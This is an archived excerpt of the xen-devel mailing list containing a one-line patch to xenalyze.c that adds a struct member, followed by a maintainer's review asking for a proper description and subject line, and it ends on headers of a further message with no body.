From xen-devel-bounces@lists.xenproject.org Thu Jul 09 08:39:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 08:39:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357677.1612032 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whkHt-00019f-JS; Thu, 09 Jul 2026 08:39:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357677.1612032; Thu, 09 Jul 2026 08:39:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whkHt-00019Y-Fq; Thu, 09 Jul 2026 08:39:17 +0000
Received: by outflank-mailman (input) for mailman id 1357677;
 Thu, 09 Jul 2026 08:39:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <okamoto@valinux.co.jp>) id 1whkHr-00019S-Mk
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 08:39:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whkHq-00AvoR-17
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:39:14 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <okamoto@valinux.co.jp>)
 id 6a4f5e21-e002-0a2a0a5209dd-0a2a4504e6e6-38
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 10:39:13 +0200
Received: from [52.101.228.92]
 (helo=OS0P286CU011.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <okamoto@valinux.co.jp>)
 id 6a4f5e2e-a01d-0a2a45040019-3465e45c97bf-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 10:39:12 +0200
Received: from TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:af::12)
 by TYRP286MB4389.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:132::13) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 08:39:08 +0000
Received: from TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 ([fe80::2067:ff0e:4c3:ad0b]) by TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 ([fe80::2067:ff0e:4c3:ad0b%4]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 08:39:08 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=roRMH+6nFxUDhV++FMs2MWNgVTUuWE+47sv7nQJZuXTlpct6NnoPUag6VND4xsG8VoZrRZv52zDDd7wEKVvdVQrT6VFY7FOFaIvLDPicNSNWo2Niz9JHOUa9WUEUF+zXsidieZVVXmOGGU9c4PJI+OAY8kNKY/Lc6IF9yKyjPNXgufpPxs8zpZNdeHYAyAb4B14FztxIYyQISNggmMEyU1+rcptsNVyruHsKbeGPPGefovmqqME/JGlD85442dny+csBAj3XP2rt12uJ+CmXOdkm2swP7JS14wh3Jqso5TMObNAguL8SZ1KHTMWYVMXgSjoVuJw6k9zO30ouLVjWyg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=iOptUrsPdEoTFj6Wze4p/9x+ulfSVC4T8O3PgXi2kOE=;
 b=XGoSsMUkgd6IFeu1qqWwbxkN/KG9hw0UOhlekfqH5Ox03ARGqjmHyBJVmrEPC50Fix5MsgacZdtlAf38OawWlltN7IdTubsVr6gFm6WYmEa9kFm9afSKzxuCcxg4vhD7/2hTKJzsp3NiDSoKXhbuwBrBH5G1eGkUk0ti/X67iYnYP0QcpKUPdoceqizNDnx31tGvEnqMrY44TPS1dHYEWRC14+RTE3ICZ5047PIdRXaKXXGKIqNvpfvwIP+Ne/KNAdmrYTQu4k5e77q9V4IiTHJIS9rlqdVuTJzq8V2qjeRR9rvOcPtOAiSrfbRzlP2ii+spnwu6aV7DB/vXblGHnQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=iOptUrsPdEoTFj6Wze4p/9x+ulfSVC4T8O3PgXi2kOE=;
 b=Cc6ZAmBwomDTIH95drQpRrVZCEH0zgAMSlkyIfP6urtPLIwyvDD0yr5TtXsy9S11GyHV7TDtyH8sE+0ZJnvHrDV+x4CiXiG0+Dmi9/O/gRDO4YO6ioVmsxkMa2cZEkTA7Xx7VJ2lbuiU3dYFfACRD/rgD8w/zVjw5dl5fWVpybU=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Ryoji Okamoto <okamoto@valinux.co.jp>
To: okamoto@valinux.co.jp
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	xen-devel@lists.xenproject.org
Subject: [PATCH 1/1] update struct member
Date: Thu,  9 Jul 2026 17:38:50 +0900
Message-ID: <20260709083850.214088-2-okamoto@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709083850.214088-1-okamoto@valinux.co.jp>
References: <20260709083850.214088-1-okamoto@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYWPR01CA0047.jpnprd01.prod.outlook.com
 (2603:1096:400:17f::12) To TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:af::12)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: TYCP286MB1053:EE_|TYRP286MB4389:EE_
X-MS-Office365-Filtering-Correlation-Id: 44bf240f-0a64-4b8c-6d22-08dedd958ae4
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|10070799003|366016|376014|23010399003|1800799024|56012099006|6133799003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	xRrvcHdFxj79wNO9KAj11E0V/+Pa+JV/aBr7NIiG+CGkEcQ+mqSgH6LiBjfhnuAJRGekr3QS0A2EshZmOuduWq4iDUgkyNzzWlD8ksYbG3sqwxqkfFNGNdpGyT2tMva9bMprnfBlV5PXUvAufgdLEMd4PpP3xu0me4JWyvOjx2GeiI68Tyxxfw3hg5Pw6ATxEbXGH4EuT41gg/ku5ScS1BBqU7VbPORWAMxhyGcEJPfzepTobumraTEoE40v0uNe4X92rlgVuRXJh4Rz+u2c/etF6OSb8Hz+usy5UtecCyrKRFxrOtcvNqkhVCXQDEwLfHpfiwdnhy/rRHz0QeQYJH+NvFPaXawalRgHgHW4LF5sR98aHVnn+1ovMC+m++r7Zao6Wz0Vn6GrhGZffYui9Na1cO6Px5UP7YU129qgpinO2Iy25roWH2o9+N8xioV5qGbyZ7p0cdaMDfQGmmhVIGjom4cdxltTYhLAsLGSOf+yUeurc2ZVude95KtegunFB2igOOlnWWZUHaZXLuxNfZdwCS5V0yuX+zPzaBiKkigw8skOZHFfPOOLs/ANPOU63SIiLiarxL9qsidRnUhmYlg93Elu7SGLZCqXPeljbqD3N1tymvYtt2Je0xyJ9NrUEFmQk8xpsjDSU4q0ZxI31NeE6JXBlaqvCL9wsSF9C9A=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(10070799003)(366016)(376014)(23010399003)(1800799024)(56012099006)(6133799003)(22082099003)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?bal6hklRv8WrPhPxoJBSitQMgf/6bVQrH3vuYXqiJD8S3fTly5jQyLkBmkae?=
 =?us-ascii?Q?4+/5zfLsZzJh5xXgWQ8CRHclJulSx1X7pWYZ+ikpMnMK1uUbG06/odhrYgOH?=
 =?us-ascii?Q?KXCk2q2fH1hhp+IUfCD2SDXFNcCvteq9r7QxLAcN4TFA+rert4JxLc141eii?=
 =?us-ascii?Q?HCYWzjYrTJAfHduZw8jceKvL8vS/04K8sF/fHijvMactrL0jl4TPKIxb+6T2?=
 =?us-ascii?Q?vsKebpfsFyFmERWlQCaxOoEo7RcUjzutBq2s6LlT77HogNITynmw3tl+easJ?=
 =?us-ascii?Q?cL0+ncZHDJX1EDiMB1LOSqwKcQvzkABTLx9qef/bzkWsICBUABoyvui/nGBB?=
 =?us-ascii?Q?9S6jV9VIZn4r7Ka4kPloIKvqSRSGa0bTCpU2QZj5wPEwVRsJ0t/8XKLaWOXM?=
 =?us-ascii?Q?r5lxA/3Qh+OMGRAN2JeUmWM+GfgMA4Jies+RblQyQLG0ilCXA6XOxn6RWouK?=
 =?us-ascii?Q?ZEMpqs+Q2+aSoqVGIXaV+IA6nVIzf91Lc+BUz94OA3ow0fgcRXBaGMnvQcmO?=
 =?us-ascii?Q?dQWm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6RHFXesyLbk4coaCZJ7G5KVUlAB6zx1SdueH4r62rqFGEf5e7?=
 =?us-ascii?Q?x4RagpxSTAyulcyrlX2XgwaTZzVnouxhLYdReFQ3dxymPeQAfr0PG9gDsiHp?=
 =?us-ascii?Q?VlNv+rDvL/0LTf3bKo2XNY3vHDf/bkMZerYRuxvA60nJJVZD0ZHVBbGD+i05?=
 =?us-ascii?Q?NgduYaAaO7k8cnKo7c1v51Lawt3YzAnwRda4Rv/Kqb4Y8iv2MjQzGI1XnaQ1?=
 =?us-ascii?Q?HndnB+63BUs2isu1PlsnnO+6X2G3vNv1nXAse3IVGEYMkmwPHttgyNQwIyYh?=
 =?us-ascii?Q?T1maRfWv892Qvz3kv3MKc9BeaZpZ9WlcfauShyk0mTOIis1eDoq6nIZC8M8Q?=
 =?us-ascii?Q?IDpSe9Ijs0+QCeE1Z9+KgaG2OtR2DkVSmIk1Wq2U9rxQW2MTKnKA3TZHXZaD?=
X-MS-Exchange-AntiSpam-MessageData-1: B+5bdQzZqJF0NA==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 44bf240f-0a64-4b8c-6d22-08dedd958ae4
X-MS-Exchange-CrossTenant-AuthSource: TYCP286MB1053.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 08:39:08.4256
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: UoIAiHE8CfIcd3KdlArG/pgFNgi2qmk7jfMQ6f4bb7gRPSHftqUgDmr8bkGVHbR7ofiC7f0kcmR/uKOWp39PEA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYRP286MB4389
X-purgate-ID: tlsNG-ebf023/1783586353-2E7A61CC-034B8703/0/0
X-purgate-type: clean
X-purgate-size: 651

Signed-off-by: Ryoji Okamoto <okamoto@valinux.co.jp>
---
 tools/xentrace/xenalyze.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/tools/xentrace/xenalyze.c b/tools/xentrace/xenalyze.c
index 42feeb282e..1187c78d5e 100644
--- a/tools/xentrace/xenalyze.c
+++ b/tools/xentrace/xenalyze.c
@@ -8039,6 +8039,7 @@ void sched_process(struct pcpu_info *p)
             if(opt.dump_all) {
                 struct {
                     unsigned int vcpuid:16, domid:16;
+                    uint32_t priority;
                     uint64_t cur_dl, cur_bg;
                 } __attribute__((packed)) *r = (typeof(r))ri->d;
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:03:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:03:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357692.1612041 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whkep-0004wc-CD; Thu, 09 Jul 2026 09:02:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357692.1612041; Thu, 09 Jul 2026 09:02:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whkep-0004wV-8i; Thu, 09 Jul 2026 09:02:59 +0000
Received: by outflank-mailman (input) for mailman id 1357692;
 Thu, 09 Jul 2026 09:02:58 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whkeo-0004wP-FW
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:02:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whken-002s8U-KO
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:02:57 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f63b7-5cb7-0a2a0a5109dd-0a2a450ad78c-40
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:02:57 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f63c1-e40e-0a2a450a0019-d1558034b07b-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:02:57 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-493b1710405so9522445e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 02:02:57 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6f3dcdsm45059925e9.3.2026.07.09.02.02.56
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 02:02:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783587777; x=1784192577; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=+/+Kyb61LTEUm8Sxo2vibCznbnFnMTIBlp41EeI00O0=;
        b=U+XcayY1RBZf77FbH9DbzdvM/7OrRu5U8ScSQFHzqdzEW3Sge3fWx1qDJGk9GUlfkG
         Dej03zDd0J5BRoCBap6MTAsj4xPjX+r+7dqry0MJSGgXtZJmWYYHOG/16g5qi4mpKAmv
         oFtXtYcijFtiYg/0ztqX6a4Y4ZMdpNKD0bLZzsu2byhhhOL7y4CPL/y5mTLuHznE8bfB
         YdaCeio5xWZGvH1AyJsNGo85ZNECnqkIFBiH1Wmaiwy51KgknW1Kb88C4VZzxmZ/whBu
         lQMifKjm234ISjNOpjAvUfcapjK7Oj+8S+ZPDQd0Hy1KxkZVNsCrWZMCsCE1vQecz9nc
         QHAA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783587777; x=1784192577;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=+/+Kyb61LTEUm8Sxo2vibCznbnFnMTIBlp41EeI00O0=;
        b=klrb7w/Hsfqn+I+AJ5cu6uynJtf3WobTwee82FwX0zj+CiUAy+97ANAAPgQiUraBmz
         vr3R6c6KAfKUk2h8T9H6o/Qf56gAX5KPachhO+PXkvWxnDqZyxVXPFiBvkCC0IBPtior
         MeihSIAWqtOVvKqp9DigfHpBg2Hn6ZHC5jh8QYqNPJ2QIlg6MKVd5Vw/+TykdCVvqYTP
         SKpX+kO3QWSccX5Oe+FSMqW5elilPW5ivYI27Q+UMBzFNxdC8Pe1yP7xSorIWiZW6Ewa
         w+9XiDpOMUhz0FCmJY8PD64eYBa0s/EY7YnN4FJ5+1gV284408r3+lvS8Jj27XRgUW18
         CiFg==
X-Forwarded-Encrypted: i=1; AHgh+RpHFH6E8ChPC5oVp5uE+9gJqp5C5hTxlE1v9A8VOo1Ci+3/l0bbmkE3pi1GgBIeqEHkqMlcFkplIFw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzaPIJCy8PqWTWH3YuWg6wpTBP9VLmF3kUzQFKR8RjA2TDu5gIq
	eLAyTOk4/4gPGofrsfjJJTI/h38WWebh+BFYe41jzVTi1YVD5YBOtpNzZSbAr+49Uw==
X-Gm-Gg: AfdE7cmWQvAjx+IEFf40vLnPC9uVxBHeAsFeWAedvy8np+WanfC1hLy3PJjaJanD+xi
	20ZaRYdnJfTZSkSELgMY7WdHnK1U+tJ6S1iVVXrUye1jraHYU5nOyEDCfJlx9Y6bRZ6CeL5NVrU
	GnQBHozf5AS9MEru8ULc4RoV+TtYQNOxCWhBWJ7WHwE+EyZ1BCx3PBIocEu1MnsnCVSHFwu+5qo
	I1OiCXvYz9psD+gLT+mBuotvEOrvS+XdQPkWE43uAqghdt0MFG+broYiNJzZE1lUPLaF6cYmh20
	Y4AvUc17qMQFWrQgzhhzs6EwbSOb7fhga6G9ZLAOLEqBDND5gAWyRfQBATisptRtTKpl4d9ehco
	lwCMAnKsYHtwevaRyhgnnhXWV4VRYdYDD/uSt1QZvkYPt3MoS0TThou+FPT7Xh8/yVwqkeoAkrw
	3UAZjdlZ0h2Em5PhWkrKRQt5eU3qZhzeDQNJ3vZkC8f+QF+t6rdBCH/oDKBO42abp73zh1CFhs0
	hYO
X-Received: by 2002:a05:600c:4fd4:b0:493:b61c:72c3 with SMTP id 5b1f17b1804b1-493e6878b65mr58160965e9.32.1783587776915;
        Thu, 09 Jul 2026 02:02:56 -0700 (PDT)
Message-ID: <f3404b9c-df8b-4f97-a2cb-50e3402d781c@suse.com>
Date: Thu, 9 Jul 2026 11:02:55 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 1/1] update struct member
To: Ryoji Okamoto <okamoto@valinux.co.jp>
Cc: Anthony PERARD <anthony.perard@vates.tech>, xen-devel@lists.xenproject.org
References: <20260709083850.214088-1-okamoto@valinux.co.jp>
 <20260709083850.214088-2-okamoto@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260709083850.214088-2-okamoto@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1783587777-D6121DDE-8E33F7B8/0/0
X-purgate-type: clean
X-purgate-size: 909

On 09.07.2026 10:38, Ryoji Okamoto wrote:

Fixes: 463b95831778 ("xen:rtds: towards work conserving RTDS")

> Signed-off-by: Ryoji Okamoto <okamoto@valinux.co.jp>
> ---
>  tools/xentrace/xenalyze.c | 1 +
>  1 file changed, 1 insertion(+)

This kind of change also almost certainly wants to come with a non-empty
description, and its subject also wants to be less generic (plus have a
component prefix, e.g. "xenalyze: " here.

> --- a/tools/xentrace/xenalyze.c
> +++ b/tools/xentrace/xenalyze.c
> @@ -8039,6 +8039,7 @@ void sched_process(struct pcpu_info *p)
>              if(opt.dump_all) {
>                  struct {
>                      unsigned int vcpuid:16, domid:16;
> +                    uint32_t priority;
>                      uint64_t cur_dl, cur_bg;
>                  } __attribute__((packed)) *r = (typeof(r))ri->d;
>  

The code change looks entirely okay.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:33:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:33:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357708.1612048 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whl7l-0000at-K1; Thu, 09 Jul 2026 09:32:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357708.1612048; Thu, 09 Jul 2026 09:32:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whl7l-0000am-HP; Thu, 09 Jul 2026 09:32:53 +0000
Received: by outflank-mailman (input) for mailman id 1357708;
 Thu, 09 Jul 2026 09:32:52 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1whl7k-0000ag-Ba
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:32:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whl7j-00EKJm-Kt
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:32:51 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a4f6ac0-5cb7-0a2a0a5109dd-0a2a4506c1e8-10
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:32:51 +0200
Received: from [40.93.196.35]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a4f6ac1-08de-0a2a45060019-285dc4235ef9-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:32:51 +0200
Received: from BN9PR03CA0390.namprd03.prod.outlook.com (2603:10b6:408:f7::35)
 by SJ0PR12MB6944.namprd12.prod.outlook.com (2603:10b6:a03:47b::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Thu, 9 Jul 2026
 09:32:44 +0000
Received: from BN3PEPF0000B36D.namprd21.prod.outlook.com
 (2603:10b6:408:f7:cafe::15) by BN9PR03CA0390.outlook.office365.com
 (2603:10b6:408:f7::35) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Thu, 9
 Jul 2026 09:32:44 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 BN3PEPF0000B36D.mail.protection.outlook.com (10.167.243.164) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.223.0 via Frontend Transport; Thu, 9 Jul 2026 09:32:44 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 04:32:43 -0500
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 04:32:43 -0500
Received: from [10.71.198.170] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Thu, 9 Jul 2026 04:32:42 -0500
